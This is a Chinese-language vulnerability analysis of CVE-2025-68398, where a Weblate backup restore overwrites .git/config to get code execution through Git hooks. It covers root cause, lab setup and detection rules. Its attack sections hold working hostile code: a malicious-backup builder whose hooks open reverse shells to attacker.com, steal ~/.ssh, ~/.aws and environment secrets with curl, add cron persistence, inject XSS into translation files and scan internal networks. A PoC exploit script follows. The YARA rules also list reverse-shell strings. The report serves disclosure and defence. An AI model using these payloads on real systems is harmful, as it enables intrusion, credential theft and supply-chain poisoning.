CVE编号: CVE-2025-68398
漏洞名称: Weblate Git Configuration Overwrite Remote Code Execution
CVSS评分: 9.1 (严重)
CVSS向量: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
影响版本: Weblate < 5.15.1
修复版本: Weblate >= 5.15.1
披露日期: 2025-12-18
漏洞分类: CWE-22 (路径遍历), CWE-20 (输入验证不当), CWE-434 (危险文件上传)
发现者: Jason Marcello
CVE-2025-68398是Weblate翻译管理平台中的一个严重路径遍历漏洞。攻击者可以通过精心构造的恶意备份文件,绕过文件路径验证机制,覆盖Git仓库的配置文件(.git/config),从而通过Git hooks机制实现远程代码执行。该漏洞的核心问题在于validate_filename函数未对.git、.svn等敏感版本控制目录进行有效过滤,使攻击者能够向这些关键目录写入恶意配置。
尽管利用该漏洞需要管理员级别权限(PR:H),但考虑到其可造成的完整系统控制、数据泄露、供应链污染等严重后果,CVSS评分仍高达9.1分。该漏洞已在Weblate 5.15.1版本中得到完全修复。
远程代码执行: 通过Git hooks执行任意系统命令
完整系统控制: 获取Weblate服务进程的完整权限
数据泄露: 访问所有翻译内容、源代码、凭证信息
供应链攻击: 向下游项目注入恶意代码
横向移动: 利用受损服务器作为跳板攻击内网资源
Weblate是一个开源的基于Web的翻译管理系统,广泛应用于开源项目的本地化工作。它提供了友好的Web界面用于翻译管理,并与Git、Mercurial、Subversion等版本控制系统深度集成,支持翻译内容的版本控制和协作开发。
核心功能特性:
基于Web的实时翻译编辑界面
与Git/Mercurial/Subversion的双向同步
自动翻译建议和术语管理
翻译质量检查和审核工作流
项目备份和恢复功能
多项目、多语言集中管理
Git的.git/config文件是仓库配置的核心,控制着版本控制系统的各种行为。该文件包含多个关键配置段:
配置文件结构:
[core]
repositoryformatversion = 0
filemode = true
bare = false
hooksPath = /path/to/hooks/ # 危险: 自定义hooks路径
[remote "origin"]
url = https://github.com/user/repo.git
fetch = +refs/heads/*:refs/remotes/origin/*
[user]
name = Developer Name
email = [email protected]
安全关键配置项:
core.hooksPath: 指定Git hooks脚本的存储路径
core.sshCommand: 自定义SSH命令执行方式
remote.*.url: 远程仓库地址(可能包含凭证)
credential.helper: 凭证存储辅助程序
Git hooks是在特定Git事件发生时自动执行的脚本程序。这些脚本具有与Git进程相同的执行权限,可以执行任意系统命令。
常见hooks类型:
pre-commit: 提交前执行(验证代码格式、运行测试)
post-commit: 提交后执行(发送通知、触发CI)
pre-push: 推送前执行(阻止敏感信息推送)
post-receive: 接收后执行(自动部署、更新镜像)
安全风险: 如果攻击者能够控制hooks脚本或hooks路径,就可以在Git操作时执行任意代码,这正是CVE-2025-68398的利用核心。
路径遍历(Path Traversal)是一种经典的Web安全漏洞,攻击者通过操纵文件路径参数,访问或修改受限目录中的文件。
常见绕过技术:
../序列: 访问父目录
绝对路径: 直接指定完整路径
URL编码:%2e%2e%2f绕过简单过滤
双重编码:%252e%252e%252f
Unicode编码:..%c0%af
混合路径分隔符:..\和../
CVE-2025-68398的独特之处: 该漏洞不使用传统的../父目录引用,而是直接使用相对路径(如.git/config)绕过验证,这种绕过方式更加隐蔽。
| 日期 | 事件 | 责任方 |
|---|---|---|
| 2025-12-XX | 安全研究员Jason Marcello发现漏洞 | Jason Marcello |
| 2025-12-XX | 向Weblate团队进行负责任披露 | Jason Marcello |
| 2025-12-16 | 提交PR #17330修复validate_filename函数 | Weblate开发团队 |
| 2025-12-17 | 提交PR #17345加固Git命令执行 | Weblate开发团队 |
| 2025-12-18 | 发布Weblate 5.15.1安全修复版本 | Weblate项目 |
| 2025-12-18 | 公开披露漏洞详情和PoC | Weblate项目 |
| 2025-12-18 | MITRE分配CVE编号CVE-2025-68398 | MITRE Corporation |
| 2025-12-19 | NVD数据库收录漏洞信息 | NIST |
| 2025-12-20 | 主流安全公告平台发布预警 | 安全社区 |
| 2025-12-24 | 本专业分析报告完成 | 安全研究团队 |
披露过程评估:
从发现到修复再到公开披露,整个过程展现了负责任的漏洞披露实践。Weblate团队的快速响应(2天内完成修复并发布)值得赞赏,这大大降低了漏洞被野外利用的风险窗口。
确认受影响:
Weblate 5.0.0 至 5.15.0 的所有版本
Weblate 4.x 系列的所有版本(已停止维护)
Weblate 3.x 系列的所有版本(已停止维护)
安全版本:
Weblate 5.15.1 及以上版本
应用了官方安全补丁的版本
受影响的部署方式:
源码部署: 直接从GitHub克隆并运行的实例
pip安装: 通过pip install weblate安装的版本
Docker容器: 使用weblate/weblate:5.15或更早标签的容器
Kubernetes部署: 使用受影响版本镜像的集群
云托管实例: 第三方提供的Weblate托管服务
不受影响的场景:
仅作为翻译者使用,无管理员权限的普通用户
已部署5.15.1及以上版本的实例
禁用了备份恢复功能的定制化部署
受影响的组织类型:
开源项目: 使用Weblate进行多语言本地化的开源软件项目
软件公司: 采用Weblate管理产品翻译的商业软件公司
本地化服务商: 提供专业翻译服务的LSP(Language Service Provider)
教育机构: 用于教学和研究的Weblate实例
政府部门: 用于公共服务多语言化的政府机构
潜在受害者数量:
根据GitHub统计,Weblate拥有超过4000个星标,被众多知名开源项目使用(包括但不限于:Godot游戏引擎、F-Droid应用商店、elementary OS等)。保守估计全球有数千个活跃实例可能受到影响。
攻击向量:
AV:N (Network): 可通过互联网远程攻击
AC:L (Low): 攻击复杂度低,无需特殊条件
PR:H (High): 需要管理员或高权限账户
UI:N (None): 无需用户交互
权限要求分析:
虽然需要高权限(PR:H),但这并不意味着漏洞危害性低:
内部威胁: 恶意内部人员可以直接利用
权限升级链: 可与其他漏洞组合使用
账户劫持: 通过钓鱼、凭证泄露等手段获取管理员账户
供应链攻击: 攻陷上游依赖项目的Weblate实例
核心漏洞文件:weblate/utils/validators.py
关键函数:validate_filename(value: str, *, check_prohibited: bool = True)
调用路径:weblate/trans/models/backup.py→Backup.validate()→validate_filename()
def validate_filename(value: str, *, check_prohibited: bool = True) -> None:
"""验证上传文件的文件名是否安全"""
# 检查1: 阻止父目录引用
if "../" in value or "..\\" in value:
raise ValidationError(
gettext("The filename can not contain reference to a parent directory.")
)
# 检查2: 阻止绝对路径
if os.path.isabs(value):
raise ValidationError(gettext("The filename can not be an absolute path."))
# 检查3: 路径规范化验证
cleaned = cleanup_path(value)
if value != cleaned:
raise ValidationError(
gettext(
"The filename should be as simple as possible. "
"Maybe you want to use: {}"
).format(cleaned)
)
# 漏洞点: 缺少敏感目录检查
# 修复前没有以下代码:
# if check_prohibited and is_excluded(cleaned):
# raise ValidationError(gettext("The filename contains a prohibited folder."))
根本原因: 输入验证不完整
具体问题:
仅检查../不足够: 攻击者可以使用.git/config这样的相对路径,不需要使用父目录引用
缺少目录黑名单: 没有过滤.git、.svn、.hg等版本控制系统的敏感目录
信任相对路径: 假设所有不包含../的相对路径都是安全的
业务逻辑缺陷: 备份恢复功能允许覆盖任意相对路径文件
绕过逻辑分析:
# 攻击者构造的恶意路径
malicious_path = ".git/config"
# 检查1: 不包含"../",通过
assert "../" not in malicious_path # True
# 检查2: 不是绝对路径,通过
assert not os.path.isabs(malicious_path) # True (相对路径)
# 检查3: 路径已经是简化形式,通过
assert cleanup_path(malicious_path) == malicious_path # True
# 漏洞: 没有检查4 - 敏感目录过滤
# 结果: 恶意路径被接受
def cleanup_path(path: str) -> str:
"""清理文件路径,移除冗余部分"""
# 规范化路径分隔符
path = path.replace("\\", "/")
# 移除冗余斜杠
path = re.sub(r'/+', '/', path)
# 移除首尾空白
path = path.strip().strip('/')
return path
问题:cleanup_path只做路径规范化,不做安全检查。它会将.git/config原样返回,不会标记为危险路径。
# weblate/utils/files.py
from translation_finder.finder import EXCLUDES
# EXCLUDES列表包含需要排除的目录
# EXCLUDES = [".git", ".svn", ".hg", ".bzr", "node_modules",
# ".tox", "venv", ".venv", "__pycache__", ...]
# 构造路径模式列表
PATH_EXCLUDES = [f"/{exclude}/" for exclude in EXCLUDES]
def is_excluded(path: str) -> bool:
"""检查路径是否包含应被排除的目录"""
# 在路径两端添加斜杠,确保完整匹配目录名
normalized_path = f"/{path}/"
# 检查是否包含任何排除模式
for exclude_pattern in PATH_EXCLUDES:
if exclude_pattern in normalized_path:
return True
# 额外检查父目录引用
if ".." in path:
return True
return False
工作原理:
# 示例
is_excluded(".git/config") # 返回True (包含/.git/)
is_excluded("translations/zh.po") # 返回False (不包含敏感目录)
is_excluded("../etc/passwd") # 返回True (包含..)
安全边界定义不清:
备份恢复功能的设计初衷是恢复翻译文件,但实现上允许恢复任意文件
没有明确定义"可安全恢复的文件"的范围
缺少基于文件类型或目录的白名单机制
职责分离不足:
validate_filename函数承担过多职责,既要验证路径格式,又要确保安全性
安全检查逻辑分散在多个函数中(validate_filename、cleanup_path、is_excluded)
缺少统一的安全策略执行点
技术债务累积:
validate_filename函数在早期版本中可能足够安全(当时未考虑VCS目录)
随着功能扩展,安全要求增加,但验证逻辑未同步更新
is_excluded函数已经存在,但未被validate_filename调用
代码审查盲区:
# 修复前的validate_filename函数看起来"很安全"
# - 检查了../
# - 检查了绝对路径
# - 进行了路径清理
# 但实际上存在逻辑漏洞
错误假设1: "阻止../就能防止路径遍历"
现实: 相对路径(如.git/config)同样危险
错误假设2: "备份文件由管理员上传,可以信任"
现实: 管理员账户可能被攻陷,或管理员本身是恶意的
错误假设3: "高权限操作的安全风险较低"
现实: 内部威胁和权限升级链使高权限漏洞同样危险
缺少深度防御层次:
应用层: 输入验证不完整(本漏洞)
文件系统层: 未使用chroot或容器隔离
进程层: Git进程权限过高
网络层: 缺少异常行为检测
缺少安全加固:
.git/config文件未设置只读或不可变属性
Git hooks目录未进行访问控制
备份恢复操作缺少审计日志
必要条件:
目标系统: 运行Weblate < 5.15.1的实例
攻击者权限: 具有备份管理权限的账户(通常是管理员)
网络访问: 能够访问Weblate的Web管理界面
VCS类型: 目标项目使用Git作为版本控制系统
可选增强条件:
定时任务: 目标系统配置了自动Git同步任务
Webhook: 配置了Git操作触发的自动化流程
CI/CD集成: Weblate与持续集成系统集成
#!/bin/bash
# create_malicious_backup.sh
# 创建临时工作目录
WORK_DIR=$(mktemp -d)
cd "$WORK_DIR"
# 创建.git目录结构
mkdir -p .git
# 生成恶意Git配置文件
cat > .git/config << 'EOF'
[core]
repositoryformatversion = 0
filemode = true
bare = false
# 关键: 指向攻击者控制的hooks目录
hooksPath = /tmp/evil-hooks
[remote "origin"]
url = https://github.com/legitimate/repo.git
fetch = +refs/heads/*:refs/remotes/origin/*
EOF
echo "[+] 恶意Git配置已创建"
# 创建hooks目录
mkdir -p /tmp/evil-hooks
# 创建恶意pre-commit hook
cat > /tmp/evil-hooks/pre-commit << 'HOOK'
#!/bin/bash
# Payload 1: 反弹Shell
bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' &
# Payload 2: 数据窃取
tar czf /tmp/exfil.tar.gz ~/.ssh ~/.aws ~/.gitconfig ~/.npmrc 2>/dev/null
curl -F "file=@/tmp/exfil.tar.gz" https://attacker.com/collect
rm -f /tmp/exfil.tar.gz
# Payload 3: 持久化
echo "* * * * * /tmp/evil-hooks/backdoor.sh" | crontab -
# Payload 4: 隐蔽后门
cat > /tmp/evil-hooks/backdoor.sh << 'BACKDOOR'
#!/bin/bash
while true; do
nc -e /bin/bash attacker.com 5555 2>/dev/null
sleep 300
done
BACKDOOR
chmod +x /tmp/evil-hooks/backdoor.sh
nohup /tmp/evil-hooks/backdoor.sh >/dev/null 2>&1 &
# 继续正常的Git操作,不影响功能
exit 0
HOOK
chmod +x /tmp/evil-hooks/pre-commit
echo "[+] 恶意Hooks已创建"
# 创建tar.gz备份文件
tar -czf malicious-backup.tar.gz .git/
# 或创建zip备份文件
zip -r malicious-backup.zip .git/
# 清理临时文件
cd /tmp
rm -rf "$WORK_DIR"
echo "[+] 恶意备份文件已生成: malicious-backup.tar.gz"
ls -lh malicious-backup.tar.gz
方法A - 凭证攻击:
钓鱼邮件获取管理员凭证
暴力破解弱密码账户
利用凭证泄露数据库(HaveIBeenPwned等)
方法B - 权限升级:
利用其他Weblate漏洞获得初始访问
通过权限提升漏洞获得管理员权限
社会工程学诱骗管理员授予权限
方法C - 内部威胁:
恶意内部员工直接利用
离职员工利用未及时撤销的权限
通过Web界面上传:
登录Weblate管理后台
导航至: 项目管理 → 备份/恢复
点击"上传备份"按钮
选择malicious-backup.tar.gz文件
确认上传
通过API上传(如果启用):
# 使用curl通过API上传
curl -X POST https://weblate.example.com/api/backups/ \
-H "Authorization: Token YOUR_API_TOKEN" \
-F "[email protected]"
手动触发:
在备份管理界面选择刚上传的备份
点击"恢复"按钮
确认恢复操作
自动触发:
如果Weblate配置了自动恢复,备份上传后会自动解压并应用。
自动触发场景:
定时同步: Weblate的自动Git同步任务运行(通常每小时)
翻译提交: 用户提交翻译时触发git commit
仓库更新: 手动或自动执行git pull操作
分支合并: 执行git merge操作
手动触发:
攻击者可以自己提交一个翻译来立即触发hook:
登录Weblate
编辑任意翻译字符串
保存(触发pre-commit hook)
[攻击者]
|
v
[1. 侦察阶段]
|-- 识别Weblate实例(版本指纹识别)
|-- 枚举用户账户
|-- 分析备份功能可用性
|
v
[2. 访问获取]
|-- 钓鱼攻击获取管理员凭证
|-- 或利用其他漏洞提权
|
v
[3. 恶意备份制作]
|-- 创建.git/config配置
|-- 设置hooksPath指向攻击者控制的目录
|-- 打包成tar.gz/zip
|
v
[4. 备份上传]
|-- 通过Web界面上传恶意备份
|-- validate_filename验证(绕过)
|
v
[5. 备份恢复]
|-- 触发恢复操作
|-- 解压备份文件
|-- 覆盖.git/config
|
v
[6. Hook部署]
|-- 在/tmp/evil-hooks/创建恶意脚本
|-- 设置执行权限
|
v
[7. 代码执行]
|-- 等待或主动触发Git操作
|-- Git执行pre-commit hook
|-- 反弹Shell建立
|
v
[8. 后渗透]
|-- 数据窃取(SSH密钥、源代码)
|-- 持久化(cron后门)
|-- 横向移动(内网扫描)
|-- 供应链投毒(修改翻译注入代码)
场景1: 开源项目供应链攻击
目标: 攻陷知名开源项目的Weblate实例,向翻译文件中注入恶意代码
# post-commit hook - 供应链投毒
#!/bin/bash
# 在JavaScript翻译文件中注入XSS
find . -name "*.json" -path "*/translations/*" | while read file; do
# 注入恶意脚本到翻译字符串
sed -i 's/"message": "\(.*\)"/"message": "\1<script src=https:\/\/evil.com\/xss.js><\/script>"/g' "$file"
done
# 正常提交,不引起怀疑
exit 0
影响: 下游使用该翻译的所有应用程序都会包含XSS漏洞
场景2: 企业内网渗透
目标: 通过Weblate服务器作为跳板,横向移动攻击内网
# pre-push hook - 内网扫描
#!/bin/bash
# 扫描内网C段
for i in {1..254}; do
ping -c 1 -W 1 192.168.1.$i >/dev/null 2>&1 && \
echo "192.168.1.$i" >> /tmp/live_hosts.txt
done
# 上传结果
curl -X POST https://attacker.com/results -d @/tmp/live_hosts.txt
rm /tmp/live_hosts.txt
# 继续正常操作
exit 0
场景3: 数据外泄
目标: 窃取所有翻译内容和源代码
# pre-commit hook - 数据窃取
#!/bin/bash
DATE=$(date +%Y%m%d_%H%M%S)
EXFIL_DIR="/tmp/exfil_$DATE"
mkdir -p "$EXFIL_DIR"
# 打包所有翻译文件
tar -czf "$EXFIL_DIR/translations.tar.gz" . 2>/dev/null
# 窃取SSH密钥
cp -r ~/.ssh "$EXFIL_DIR/" 2>/dev/null
# 窃取环境变量(可能包含API密钥)
env > "$EXFIL_DIR/env.txt"
# 窃取Git历史(可能包含敏感信息)
git log --all --pretty=format:"%H %an %ae %s" > "$EXFIL_DIR/git_log.txt"
# 加密并上传
tar -czf - "$EXFIL_DIR" | openssl enc -aes-256-cbc -k "secretkey" | \
curl -X POST https://attacker.com/collect --data-binary @-
# 清理痕迹
rm -rf "$EXFIL_DIR"
exit 0
version: '3'
services:
weblate:
# 使用漏洞版本
image: weblate/weblate:5.15
container_name: weblate-vulnerable-cve-2025-68398
ports:
- "8080:8080"
environment:
# 管理员凭证
- WEBLATE_ADMIN_NAME=admin
- WEBLATE_ADMIN_PASSWORD=admin123
- [email protected]
# 主机配置
- WEBLATE_ALLOWED_HOSTS=*
- WEBLATE_SITE_DOMAIN=localhost:8080
# 数据库配置
- POSTGRES_PASSWORD=weblate_db_pass
- POSTGRES_USER=weblate
- POSTGRES_DATABASE=weblate
- POSTGRES_HOST=database
- POSTGRES_PORT=5432
# Redis配置
- REDIS_HOST=redis
- REDIS_PORT=6379
# 调试模式(便于测试)
- WEBLATE_DEBUG=1
depends_on:
- database
- redis
volumes:
- weblate-data:/app/data
- ./backups:/tmp/backups
networks:
- weblate-net
database:
image: postgres:15-alpine
container_name: weblate-postgres
environment:
- POSTGRES_USER=weblate
- POSTGRES_PASSWORD=weblate_db_pass
- POSTGRES_DATABASE=weblate
volumes:
- postgres-data:/var/lib/postgresql/data
networks:
- weblate-net
redis:
image: redis:7-alpine
container_name: weblate-redis
command: redis-server --appendonly yes
volumes:
- redis-data:/data
networks:
- weblate-net
volumes:
weblate-data:
postgres-data:
redis-data:
networks:
weblate-net:
driver: bridge
# 1. 保存上述配置为docker-compose.yml
# 2. 启动环境
docker-compose up -d
# 3. 等待服务初始化(约2-3分钟)
docker-compose logs -f weblate | grep "spawned uWSGI"
# 4. 访问Weblate
# URL: http://localhost:8080
# 用户名: admin
# 密码: admin123
# 5. 查看容器状态
docker-compose ps
# 1. 克隆Weblate仓库
git clone https://github.com/WeblateOrg/weblate.git
cd weblate
# 2. 切换到漏洞版本
git checkout weblate-5.15
# 3. 安装系统依赖(Ubuntu/Debian)
sudo apt-get update
sudo apt-get install -y \
python3-pip python3-dev \
libxml2-dev libxslt1-dev libfreetype6-dev \
libjpeg-dev libz-dev libyaml-dev \
build-essential git-core \
postgresql postgresql-contrib \
redis-server
# 4. 创建Python虚拟环境
python3 -m venv venv
source venv/bin/activate
# 5. 安装Python依赖
pip install --upgrade pip wheel
pip install -e .
pip install -r requirements.txt
# 6. 配置数据库
sudo -u postgres psql << EOF
CREATE USER weblate WITH PASSWORD 'weblate';
CREATE DATABASE weblate OWNER weblate;
EOF
# 7. 创建Weblate配置
cp weblate/settings_example.py weblate/settings.py
# 编辑weblate/settings.py,配置数据库:
# DATABASES = {
# 'default': {
# 'ENGINE': 'django.db.backends.postgresql',
# 'NAME': 'weblate',
# 'USER': 'weblate',
# 'PASSWORD': 'weblate',
# 'HOST': '127.0.0.1',
# 'PORT': '5432',
# }
# }
# 8. 初始化数据库
python manage.py migrate
python manage.py collectstatic --noinput
# 9. 创建管理员账户
python manage.py createsuperuser
# 10. 启动开发服务器
python manage.py runserver 0.0.0.0:8000
创建exploit.sh脚本:
#!/bin/bash
# CVE-2025-68398 PoC Exploit Script
# Usage: ./exploit.sh <weblate_url> <admin_username> <admin_password>
set -e
WEBLATE_URL="${1:-http://localhost:8080}"
ADMIN_USER="${2:-admin}"
ADMIN_PASS="${3:-admin123}"
echo "========================================"
echo "CVE-2025-68398 PoC Exploit"
echo "========================================"
# 1. 创建恶意备份
echo "[*] Creating malicious backup..."
WORK_DIR=$(mktemp -d)
cd "$WORK_DIR"
mkdir -p .git
cat > .git/config << 'EOF'
[core]
repositoryformatversion = 0
filemode = true
bare = false
hooksPath = /tmp/cve-2025-68398-poc
[remote "origin"]
url = https://github.com/example/repo.git
fetch = +refs/heads/*:refs/remotes/origin/*
EOF
tar -czf malicious-backup.tar.gz .git/
echo "[+] Malicious backup created: $(pwd)/malicious-backup.tar.gz"
# 2. 创建PoC Hook
echo "[*] Creating PoC hook..."
mkdir -p /tmp/cve-2025-68398-poc
cat > /tmp/cve-2025-68398-poc/pre-commit << 'HOOK'
#!/bin/bash
echo "[PWNED] CVE-2025-68398 executed at $(date)" >> /tmp/cve-2025-68398-pwned.log
echo "[PWNED] User: $(whoami)" >> /tmp/cve-2025-68398-pwned.log
echo "[PWNED] CWD: $(pwd)" >> /tmp/cve-2025-68398-pwned.log
echo "[PWNED] ---" >> /tmp/cve-2025-68398-pwned.log
exit 0
HOOK
chmod +x /tmp/cve-2025-68398-poc/pre-commit
echo "[+] PoC hook created"
# 3. 上传恶意备份(需要手动完成)
echo ""
echo "[!] Manual step required:"
echo " 1. Visit: ${WEBLATE_URL}/admin/"
echo " 2. Login with: ${ADMIN_USER} / ${ADMIN_PASS}"
echo " 3. Navigate to: Projects → Backup"
echo " 4. Upload: $(pwd)/malicious-backup.tar.gz"
echo " 5. Restore the backup"
echo " 6. Make a translation change to trigger git commit"
echo ""
# 4. 等待用户确认
read -p "Press Enter after completing the manual steps..."
# 5. 验证漏洞是否成功利用
echo "[*] Checking for exploitation evidence..."
if [ -f /tmp/cve-2025-68398-pwned.log ]; then
echo "[+] SUCCESS! Vulnerability exploited!"
echo ""
echo "=== Proof of Exploitation ==="
cat /tmp/cve-2025-68398-pwned.log
echo "============================="
else
echo "[-] Exploitation not detected. Check if all steps were completed correctly."
fi
# 清理
echo ""
echo "[*] Cleanup..."
echo " Keep malicious backup at: $(pwd)/malicious-backup.tar.gz"
echo " Remove PoC artifacts with: rm -rf /tmp/cve-2025-68398-poc /tmp/cve-2025-68398-pwned.log"
创建Python验证脚本test_vulnerability.py:
#!/usr/bin/env python3
"""
CVE-2025-68398 Vulnerability Detector
Tests if a Weblate instance is vulnerable
"""
import os
import re
import tempfile
import subprocess
from pathlib import Path
def test_validate_filename_vulnerable():
"""测试validate_filename函数是否存在漏洞"""
# 模拟漏洞版本的函数
def validate_filename_vulnerable(value: str) -> bool:
"""漏洞版本(< 5.15.1)"""
# 检查父目录引用
if "../" in value or "..\\" in value:
return False
# 检查绝对路径
if os.path.isabs(value):
return False
# 路径清理
cleaned = value.replace("\\", "/").strip("/")
if value != cleaned:
return False
# 漏洞: 缺少敏感目录检查
return True
# 模拟修复版本的函数
def validate_filename_patched(value: str) -> bool:
"""修复版本(>= 5.15.1)"""
# 敏感目录列表
EXCLUDES = [".git", ".svn", ".hg", ".bzr", "node_modules", "__pycache__"]
# 检查父目录引用
if "../" in value or "..\\" in value:
return False
# 检查绝对路径
if os.path.isabs(value):
return False
# 路径清理
cleaned = value.replace("\\", "/").strip("/")
if value != cleaned:
return False
# 修复: 添加敏感目录检查
normalized = f"/{cleaned}/"
for exclude in EXCLUDES:
if f"/{exclude}/" in normalized:
return False
return True
# 测试用例
test_cases = [
(".git/config", "Git配置文件"),
(".svn/entries", "SVN配置文件"),
("translations/zh.po", "合法翻译文件"),
("../etc/passwd", "父目录遍历"),
("/etc/passwd", "绝对路径"),
]
print("=" * 60)
print("CVE-2025-68398 漏洞检测测试")
print("=" * 60)
for test_path, description in test_cases:
vuln_result = validate_filename_vulnerable(test_path)
patch_result = validate_filename_patched(test_path)
print(f"\n测试: {description}")
print(f" 路径: {test_path}")
print(f" 漏洞版本允许: {'是' if vuln_result else '否'}")
print(f" 修复版本允许: {'是' if patch_result else '否'}")
if vuln_result and not patch_result:
print(f" 状态: 漏洞可利用")
elif not vuln_result and not patch_result:
print(f" 状态: 正常拒绝")
else:
print(f" 状态: 正常接受")
if __name__ == "__main__":
test_validate_filename_vulnerable()
运行验证:
chmod +x test_vulnerability.py
python3 test_vulnerability.py
访问Weblate实例的以下URL:
/about/- 关于页面通常显示版本号
/admin/- 管理后台底部显示版本信息
/api/- API根路径返回版本信息
# 检查Server头或X-Powered-By头
curl -I https://weblate.example.com | grep -i "weblate\|server"
# 某些配置可能暴露版本信息
curl -s https://weblate.example.com/api/ | jq '.version'
# 使用whatweb工具
whatweb https://weblate.example.com
# 使用nmap脚本
nmap -p 80,443 --script http-weblate-version weblate.example.com
如果有服务器访问权限:
# pip安装的版本
pip show weblate | grep Version
# Docker容器版本
docker exec weblate-container weblate --version
# 源码安装的版本
cd /path/to/weblate
cat weblate/__init__.py | grep VERSION
使用auditd监控.git/config文件的修改:
# 添加audit规则
auditctl -w /var/lib/weblate/data/ -p wa -k weblate-git-config-monitor
# 查看审计日志
ausearch -k weblate-git-config-monitor | grep ".git/config"
# 持久化规则
cat >> /etc/audit/rules.d/weblate.rules << EOF
-w /var/lib/weblate/data/ -p wa -k weblate-git-config-monitor
-w /tmp/ -p x -k tmp-execution-monitor
EOF
augenrules --load
使用aide监控关键文件:
# 安装AIDE
apt-get install aide
# 配置监控规则
cat >> /etc/aide/aide.conf << EOF
# 监控Weblate数据目录
/var/lib/weblate/data R+b+sha256
# 监控Git配置文件
!/var/lib/weblate/data/.*/.git/config$ R+b+sha256+md5
EOF
# 初始化数据库
aideinit
# 定期检查
aide --check
使用inotifywait实时监控:
#!/bin/bash
# watch_git_configs.sh
inotifywait -m -r -e modify,create,move,delete \
--format '%T %w%f %e' \
--timefmt '%Y-%m-%d %H:%M:%S' \
/var/lib/weblate/data/ | while read timestamp file event; do
if [[ "$file" == *".git/config" ]]; then
echo "[ALERT] $timestamp: Git config modified: $file ($event)"
# 检查是否包含可疑的hooksPath
if grep -q "hooksPath" "$file" 2>/dev/null; then
echo "[CRITICAL] Suspicious hooksPath detected in $file"
# 发送告警
mail -s "CVE-2025-68398 Exploitation Detected" [email protected] << EOF
Possible CVE-2025-68398 exploitation detected!
Time: $timestamp
File: $file
Event: $event
Content:
$(cat "$file")
EOF
fi
fi
done
# Snort rule for CVE-2025-68398
alert tcp any any -> any [8080,8443] (
msg:"CVE-2025-68398 - Weblate malicious backup upload attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/backup/"; http_uri; nocase;
content:".git/config"; http_client_body;
content:"multipart/form-data"; http_header;
classtype:web-application-attack;
sid:10002568398;
rev:1;
metadata:cve CVE-2025-68398, cvss 9.1;
)
alert tcp any any -> any [8080,8443] (
msg:"CVE-2025-68398 - Suspicious hooksPath in backup";
flow:to_server,established;
content:"hooksPath"; http_client_body;
content:".git/config"; http_client_body;
classtype:web-application-attack;
sid:10002568399;
rev:1;
metadata:cve CVE-2025-68398;
)
alert http any any -> any any (
msg:"ET EXPLOIT CVE-2025-68398 Weblate Git Config Overwrite - Upload";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/backup/"; nocase;
http.request_body; content:".git/config"; nocase;
classtype:web-application-attack;
sid:2568398;
rev:1;
metadata:cve CVE_2025_68398, attack_target Server, deployment Internal;
)
alert http any any -> any any (
msg:"ET EXPLOIT CVE-2025-68398 Weblate Malicious hooksPath Configuration";
flow:established,to_server;
http.request_body; content:"hooksPath"; nocase; content:".git/config"; distance:0;
classtype:web-application-attack;
sid:2568399;
rev:1;
metadata:cve CVE_2025_68398;
)
# 搜索备份操作日志
grep -i "backup" /var/log/weblate/weblate.log | grep -i "restore\|upload"
# 搜索异常的文件路径
grep -E "\.git|\.svn|\.hg" /var/log/weblate/weblate.log
# 搜索validate_filename相关日志
grep "validate_filename" /var/log/weblate/weblate.log
# 在Weblate数据目录中的所有Git仓库中搜索hooks执行记录
find /var/lib/weblate/data -name ".git" -type d | while read gitdir; do
cd "$gitdir/.."
echo "=== Checking $(pwd) ==="
# 检查Git配置
git config --local --list | grep -i "hook\|ssh"
# 检查最近的Git操作
git reflog --date=iso | head -20
done
rule CVE_2025_68398_Malicious_Backup {
meta:
description = "Detects malicious backup files exploiting CVE-2025-68398"
author = "Security Research Team"
date = "2025-12-24"
severity = "high"
cve = "CVE-2025-68398"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-68398"
strings:
// Git配置文件路径
$git_config_path = ".git/config" ascii nocase
// 危险的配置项
$hooks_path = "hooksPath" ascii nocase
$ssh_command = "sshCommand" ascii nocase
$core_editor = "core.editor" ascii nocase
// Git配置文件特征
$config_section = /\[core\]/ ascii
$config_section2 = /\[remote ".*"\]/ ascii
// 可疑的hooks路径
$suspicious_path1 = "/tmp/" ascii
$suspicious_path2 = "/var/tmp/" ascii
$suspicious_path3 = "/dev/shm/" ascii
condition:
// 必须包含.git/config路径
$git_config_path and
(
// 包含危险配置项
($hooks_path or $ssh_command or $core_editor) or
// 或包含配置段落和可疑路径
(($config_section or $config_section2) and any of ($suspicious_path*))
)
}
rule CVE_2025_68398_Malicious_Hook {
meta:
description = "Detects malicious Git hooks for CVE-2025-68398"
author = "Security Research Team"
severity = "critical"
strings:
// Shell反弹
$reverse_shell1 = "bash -i >& /dev/tcp/" ascii
$reverse_shell2 = "nc -e /bin/bash" ascii
$reverse_shell3 = "sh -i >& /dev/tcp/" ascii
// 数据窃取
$exfil1 = /curl.*-F.*file=@/ ascii
$exfil2 = /wget.*--post-file/ ascii
$exfil3 = "tar -czf" ascii
// 持久化
$persist1 = "crontab -" ascii
$persist2 = ".bashrc" ascii
$persist3 = "/etc/rc.local" ascii
// Hook标识
$shebang = "#!/bin/bash" ascii
$hook_comment = /# .*hook/ ascii nocase
condition:
$shebang and
(
any of ($reverse_shell*) or
(any of ($exfil*) and $persist1)
)
}
使用YARA扫描:
# 扫描上传的备份文件
yara -r cve-2025-68398.yar /var/lib/weblate/backups/
# 扫描解压后的文件
find /var/lib/weblate/data -name "config" -path "*/.git/config" -exec yara cve-2025-68398.yar {} \;
# 扫描可疑的hooks
find /tmp /var/tmp /dev/shm -name "pre-commit" -o -name "post-commit" -exec yara cve-2025-68398.yar {} \;
# 方法A: pip升级
pip install --upgrade "weblate>=5.15.1"
# 方法B: Docker升级
docker pull weblate/weblate:5.15.1
docker-compose down
docker-compose up -d
# 方法C: 源码升级
cd /path/to/weblate
git fetch origin
git checkout weblate-5.15.1
pip install --upgrade -r requirements.txt
python manage.py migrate
systemctl restart weblate
在升级前临时禁用备份恢复功能:
# weblate/settings.py
# 禁用备份功能
BACKUP_ENABLED = False
# 或限制备份功能访问
from django.contrib.auth.models import User
BACKUP_ALLOWED_USERS = [] # 空列表禁用所有用户
# 对所有项目的.git/config设置保护
find /var/lib/weblate/data -name "config" -path "*/.git/config" | while read cfg; do
# 设置只读权限
chmod 444 "$cfg"
# 设置不可变属性(需要root权限)
sudo chattr +i "$cfg"
